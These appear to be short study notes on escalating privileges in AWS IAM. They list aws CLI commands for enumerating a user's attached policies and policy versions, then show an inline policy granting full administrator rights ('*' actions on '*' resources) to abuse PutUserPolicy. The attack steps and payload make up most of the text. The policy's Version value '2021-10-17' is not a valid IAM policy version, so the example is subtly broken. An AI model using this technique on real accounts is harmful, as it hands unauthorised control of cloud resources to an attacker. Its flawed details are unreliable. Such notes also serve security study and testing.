Privilege Escalation
Study Case
Exploitation
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name example_name -- profile example_profile
aws iam get-policy --policy-arn policy_arn
If there are more than one version of the policy, we can also list them
aws iam list-policy-versions --policy-arn policy_arn
Now we can finally retrieve the contents of the policy
aws iam get-policy-version --policy-arn example_arn --version-id id_example
It's important to use the command above to chech the information about the default policy
If we have the PutUserPolicy is enabled, we can add an inline administrator policy to our user.
Administrator policy example
{
"Version": "2021-10-17",
"Statement" : [
{
"Effect":"Allow",
"Action": [
"*"
],
"Resource":[
"*"
]
}
]
}